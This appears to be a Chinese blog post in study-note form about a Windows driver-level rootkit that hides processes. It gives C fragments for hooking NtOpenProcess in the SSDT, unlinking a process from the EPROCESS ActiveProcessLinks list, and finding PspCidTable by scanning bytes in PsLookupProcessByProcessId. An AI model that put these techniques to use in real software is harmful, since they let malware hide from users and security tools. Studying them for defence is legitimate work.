驱动级Rootkit攻击测试——进程隐藏

学习内核编程,祝早日能编写POC程序!

SSDT HOOK NtOpenProcess

typedef NTSTATUS(*pfnNtOpenProcess)(
	PHANDLE,
	ACCESS_MASK,
	POBJECT_ATTRIBUTES,
	PCLIENT_ID);
	
pfnNtOpenProcess OldNtOpenProcess;

定义一个指向API的函数指针定义方法。作用是定义API函数指针备份原来的函数地址。

typedef struct _SERVICE_DESCRIPTOR_TABLE {
    
    
	PVOID 	ServiceTableBase;//System Service Dispatch Table 的基地址
	PVOID 	ServiceCounterTableBase;//包含着 SSDT 中每个服务被调用次数的计数器。这个计数器一般由sysenter 更新
	ULONG	NumberOfServices;//由 ServiceTableBase 描述的服务的数目
	PUCHAR	ParamTableBase;//包含每个系统服务参数字节数表的基地址-系统服务参数表
}SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE;

定义SERVICE_DESCRIPTOR_TABLE结构类型,SERVICE_DESCRIPTOR_TABLE = struct _SERVICE_DESCRIPTOR_TABLE,SERVICE_DESCRIPTOR_TABLE实际上就是_SERVICE_DESCRIPTOR_TABLE的别名。C语言小基础。


VOID TestAddr(PCWSTR funcname)
{
    
    
	UNICODE_STRING strToFind;
	RtlInitUnicodeString(&strToFind, funcname);
	PVOID AddrToFind = MmGetSystemRoutineAddress(&strToFind);
	if (NULL != AddrToFind) {
    
    
		DbgPrint("Hook之前调用MmGetSystemRoutineAddress: 0x%X\n", AddrToFind);
		DbgPrint("Hook之前直接用NtOpenProcess名 %X\n", NtOpenProcess);
		//直接用函数名获得的NtOpenProcess的地址和用MmGetSystemRoutineAddress获得的地址一样
		OldNtOpenProcess = (pfnNtOpenProcess)HookSSDTFunction(NtOpenProcess, MyNtOpenProcess);//传入原始函数地址和自定义的函数地址,返回指向原始函数地址的函数指针
	}
}

可以用MmGetSystemRoutineAddress获取未导出的函数地址方法并转换为函数指针调用

for (ULONG i = 0; i < KeServiceDescriptorTable.NumberOfServices; i++)
{
    
    
	if ((LONG)pMdlLocked[i] == (LONG)OldFunction)
	{
    
    
		InterlockedExchange(&pMdlLocked[i], (LONG)HookFunction);
        break;
    }
}

遍历KeServiceDescriptorTable找到原来的NtOpenProcess函数地址,并使用InterlockedExchange函数实现多线程下的循环锁功能: 所谓循环锁,就是在线程1中如果要对变量进行操作,要先查看这个变量(或资源)有没有被其它线程用到,如果是,则一直循环,则到其它线程放弃对该变量(或资源)的控制。如果否,直接可以对该变量(或资源)进行操作。

EProcess中的ActiveProcessLinks双向循环链表断链

ListEntry = (ULONG_PTR)EProcess + x86_EPROCESS_OFFSET; 
 v1 = (ULONG_PTR)ListEntry->Flink - x86_EPROCESS_OFFSET;
 while (v1 != EProcess)
 {
    
    
 //v1  0x87e95d40 struct _KPROCESS *
 //ImageFileName  0x87e95eac "calc.exe"
  ImageFileName = (ULONG_PTR)v1 + x86_IMAGEFILENAME_OFFSET;
  if (strcmp(ImageFileName,"System")==0)
  {
    
    
   __HeadEntry = (ULONG_PTR)v1+ x86_EPROCESS_OFFSET;
  }
  ListEntry = (ULONG_PTR)v1 + x86_EPROCESS_OFFSET;
  if (strcmp(ImageFileName, ProcessName) == 0)
  {
    
    
   if (ListEntry != NULL)
   {
    
    
    __ListEntry = ListEntry;
    RemoveEntryList(ListEntry);//调用此API移除链表
    Status = STATUS_SUCCESS;
    break;
          }
  }
 v1 = (ULONG_PTR)(ListEntry->Flink) - x86_EPROCESS_OFFSET;

这里要特别注意EPROCESS的ImageFileName是16个字节。[15] UChar。

搜索PsLookupProcessByProcessId函数中的PspCidTable结构并获取地址

RtlInitUnicodeString (&pslookup, L"PsLookupProcessByProcessId");	
addr=(PUCHAR)MmGetSystemRoutineAddress(&pslookup);
	KdPrint(("PsLookupProcessByProcessId addr=0x%x\r\n", addr));
	for (p=addr;p<addr+PAGE_SIZE;p++)      //搜索PsLookupProcessByProcessId函数
	{
    
    
		if((*(PUSHORT)p==0x35ff)&&(*(p+6)==0xe8))// 注意这句
		{
    
    
			cid=*(PULONG)(p+2);
			return cid;
			//break;
		}
	}

首先windows平台的VS编译器无论32位还是64位,Int一定是四字节。USHORT是两字节。ULONG也是四字节。
((PUSHORT)p==0x35ff)&&((p+6)==0xe8)即是指FF35XXXXXXXXe8字节码。
在这里插入图片描述
看到函数的反汇编就知道了。
诸如push offset,call xxx此类的函数调用方式都可以使用这种搜索机器码的方式进行跟踪。
取的时候cid=*(PULONG)(p+2);注意位置起始是p+2,取的大小是四字节。所以就是push的操作数,60b25588。此相对偏移+指令当前地址+指令长度=PspCidTable表的真实内存地址。

参考
HOOK SSDT NtOpenProcess 保护进程
CR0方式读写内存与MDL方式读写内存
进程的攻与“防” ---- 进程隐藏(Win7 x32 绕过PC Hunter)

猜你喜欢

转载自blog.csdn.net/qq_43312649/article/details/108622711
今日推荐